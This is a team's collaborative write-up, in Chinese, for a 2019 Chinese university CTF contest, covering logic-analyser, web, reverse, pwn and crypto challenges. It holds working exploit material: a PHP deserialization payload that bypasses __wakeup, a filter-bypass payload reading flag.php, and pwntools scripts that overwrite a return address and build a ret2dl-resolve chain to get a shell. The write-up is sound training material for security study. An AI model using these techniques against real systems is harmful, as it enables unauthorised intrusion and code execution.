---
# System prepended metadata

title: 全国大学生信息安全竞赛
tags: [ctf]

---

---
tags: ctf
---
# 全国大学生信息安全竞赛
- 第十二届

:::success
**URL**: https://race.ichunqiu.com/topic/2019dxs
:::

## 关于本文档

:::warning
使用本文档来促进线上的队员和在比赛基地的队员之间的合作，并记录整个比赛的过程。添加新题目请严格套用段落格式 `Chall_name | Working、Stuck、Done | Working：YourName`
:::

## 如何使用本文档

:::danger
在你决定解一道题之前，请**一定查看这道题当前的状态**，并且**把你的名字加入Working列表**
* 如果你卡在某一到题上了，请及时更新这道题的状态
* 题目状态：
  * **OPEN** - 有人正在试图解这道题。如果你正在做，请把名字写在 Working 后面。
  * **STUCK** - 卡住了。**如果你卡住了，请在下面留下当前进展和相关信息**，还有你的名字（这样后来者就能联系你了）。当你决定放弃这道题时，请把名字从 working 后面移除。
  * **DONE** - 解决了！鼓掌撒花！
* **请勿将key直接贴在本文档中**
* **重中之重：请及时更新每道题的状态！**
:::

---
[TOC]

---

# Misc

## day1-24c

使用saleae打开后加入 I2C Analyzer, 观察到类似于
```
write 32 "f163bdf4e}"
write 0  "flag{c46d  10-e9b5-4d90-a883-41c"
write 9  "ac"
```
的内容

猜测上述"32","0","9"为位置, 经验证为24c02 chip写数据的方法
得以构造出最终flag
flag{c46dac10-e9b5-4d90-a883-41cf163bdf4e}

## day1-saleae

使用saleae打开后，加入 SPI Analyzer, 将第0通道设为clock
![](https://i.imgur.com/0R2LDZ2.png)
即可在MISO/MISI上看到flag
![](https://i.imgur.com/YEBaP3O.png)


flag{12071397-19d1-48e6-be8c-784b89a95e07}

# Web

## day1-JustSoso
"题目": {
"index.php": "https://pastebin.com/qznxn2bX",
"hint.php": "https://pastebin.com/f0uCB51W"
}

GET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码
发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化
有三处需要绕过:

**1**

parse_url 三斜杠绕过, 常规

**2**

需要调用class Flag::getFlag()才能进行下一步操作, 所以必定反序列化class Handle
正常情况下unserialize一个Handle会调用`function __wakeup`, 也就是说会将所有的成员置零
找到了[CVE-2016-7124](https://bugs.php.net/bug.php?id=72663)可以跳过执行__wakeup
修改序列化后Handle的属性个数即可

**3**

需要保证token与token_flag一致, 变量皆可控
每次调用`getFlag` `token_flag`都会随机变化, 所以只能通过控制`token`来绕过
可以将`token`赋值为`token_flag` 的引用绕过
`$flaginst->token = &$flaginst->token_flag;`

![](https://i.imgur.com/EUhNFz4.png)
用于生成payload代码:
```php
<?php
class Flag{}
class Handle{
    private $handle;
    function __construct($xx){
        $this->handle = $xx;
    }
}

$p = new Flag("flag.php");
$p->token = &$p->token_flag;
$p->file = "flag.php";
$pay = new Handle($p);
echo urlencode(serialize($pay));
```
最终payload: 
`url///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D`

flag{65d7e10c-88c9-40ef-b8ca-babe3bd2a2b5}(比赛后重新下发)

## day2-love the math

进入主页任意输入内容发现请求发往calc.php, 直接访问即可获得源码
"题目": {
"calc.php": "https://pastebin.com/wJ6L6fZk"
}

观察发现如下限制:
payload长度不可超过80
可以执行任何**数学函数**
有部分字符不可用( `$blacklist` )

基本思路:
由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出
应当取能够返回字符串的数学函数, 加以拼接得到期望值
题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload

观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。
其中利用base_convert能获取更大的字符集, 但也更长
base_convert(number,frombase,tobase)
![](https://i.imgur.com/ZAy4V9r.png)
可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入

验证: url:/calc.php?c=base_convert(55490343972,10,36)()
可以执行phpinfo

首先尝试利用getallheaders获取头部信息进行执行, 但后来发现头部信息不可控
![](https://i.imgur.com/heXe4v3.png)
只能放弃利用getallheaders

由于system等函数需要传入单双引号, 所以应当考虑直接在php中读文件
![](https://i.imgur.com/SlwlDOA.png)

base_convert(371235972282,10,28)->readfile
考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。
于是得到目的: 将两个`[a-z0-9]*`字符串异或得到_GET,利用_GET{param}获取到另一参数中填入的文件名(即flag.php)进行读取
进行fuzz, fuzz代码:
```php
$table = "0123456789abcdefghijklmnopqrstuvwxyz";
for($i = 0; $i < 36; $i++){
	for($j = $i; $j < 36; $j++){
        echo $table[$i]^$table[$j];
        echo " ";
        echo $table[$i]." ".$table[$j];
        echo "\n";
	}
}
```
```bash
php test.php| strings | grep "_"
php test.php| strings | grep "G"
php test.php| strings | grep "E"
php test.php| strings | grep "T"
```
得到`"1000"^"nwud" == "_GET"`
所以能够构造出payload:
`base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})`
其中"12"是为了凑79(((躺
```python
payload = "base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})"
request.get('url/calc.php',params={
    'c': payload,
    '12': 'flag.php'
})
```

flag{623a0211-2e86-48ad-b48a-388f67ad32bf}

# Reverse

## day1-easyGo
Go语言的题目，安装Go语言插件 https://github.com/sibears/IDAGolangHelper

- 在IDA的file->script file中导入py脚本。
- 然后选择Go语言版本，并选择自动重命名变量。
简单分析核心函数
```
fmt_Fscanf(
    a1,
    a2,
    (__int64)&addr_0x4e2880,
    (__int64)&v31,
    v4,
    v5,
    (__int64)&addr_0x4e2880,
    bss_qword_572B10,
    (__int64)aS0125Cccfcocsl,
    2LL);

if ( *(__int128 **)(v27 + 8) == &v31
    && (runtime_memequal(
          a1,
          a2,
          (__int64)v26,
          *(_QWORD *)v27,
          v17,
          v18,
          v26,
          *(const __m128i **)v27,
          (unsigned __int64)&v31,
          1),
        v19) )
  {
    *(_QWORD *)&v29 = &string_autogen_L44YLG;
    *((_QWORD *)&v29 + 1) = &off_4E1140;
    result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18);
  }
  else
  {
    *(_QWORD *)&v28 = &string_autogen_L44YLG;
    *((_QWORD *)&v28 + 1) = &off_4E1150;
    result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18);
  }
```
- 可以得知程序中的`runtime_memequal`存在明文比对，我们尝试dump相关内存，由于go语言很多都依靠各种寄存器来记录地址，从Fscanf后单步调试。
- gdb调试，`b* 0x495277`下断点，单步跟踪。

![](https://i.imgur.com/RgiWbSy.png)

# Pwn

## day1-your_pwn
任意地址读写，最简单的方式，先读main函数返回地址，通过偏移算出one_gadget地址，复写后三个字节即可
```python
from pwn import *
p = process("./pwn")
#p.recvuntil("name:")
#p.remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
p = remote ("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com" ,57856)
p.send("sadmess")



def leak(a):
    p.recvuntil("index\n")
    p.sendline(str(a))
    content=p.recvuntil("\n")[-3:-1]
    p.sendline(str(int(content,16)))
    return content

def write(a,b):
    p.recvuntil("index\n")
    p.sendline(str(a))
    content=p.recvuntil("\n")[-3:-1]
    p.sendline(str(int(b,16)))

main_offset1=leak(632)
main_offset2=leak(633)
main_offset3=leak(634)
print main_offset1
print main_offset2
print main_offset3
a=int(main_offset1,16)+int(main_offset2,16)*256+int(main_offset3,16)*256*256

a=a+0xf1147-0x20830
a=hex(a)
print a[2:4]
write(632,a[6:8])
write(633,a[4:6])
write(634,a[2:4])
i=0
while i<70:
    p.sendline("0")
    i+=1
p.interactive()
```
flag{caaa53afc1bbf5cda29539576d51264a}

## day2-baby_pwn
ret2_dl_runtime_resolve
适于一些比较简单的栈溢出的情况，但同时又难以泄露获取更多信息的情况下。
此题恰好符合

```python
#!/usr/bin/python
#coding:utf-8

from pwn import *
import roputils
elf = ELF('pwn')

offset = 0x2C
rop = roputils.ROP('./pwn')
ppp_ret = 0x080485d9 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x080485db
leave_ret = 0x08048448 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com' ,33865)


payload = 'A' * offset
payload += rop.call('read', 0, base_stage, 100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
p.sendline(payload)
cmd = "/bin/sh"
payload2 = 'AAAA'
payload2 += rop.dl_resolve_call(base_stage+20, base_stage+80) #调用dl_resolve_call，第二个为调用函数的参数
payload2 += rop.dl_resolve_data(base_stage+20, 'system')  #在bss段伪造Elf32_Rel 和 Elf32_Sym
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.send(payload2)
p.interactive()
```
flag{0967c80006c113aee8c7c3cb321ae19e}

# Crypto
## puzzles
- Q0
在线求解方程即可
![](https://i.imgur.com/97NrUIU.png)
解得a1a2a3a4为fa6bed9c7a00
- Q1
发现三个为素数，每隔37个取一个，从素数表查得为0x1924dd7
- Q2
计算可得(1+91+7+1)*77 = 0x1E14
- Q3
物理公式E=ΔΦ/Δt代入得0x48d0
- Q4
高数作业本题目，https://www.ppkao.com/shiti/6665215/
得到0x9d80
拼合得到flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}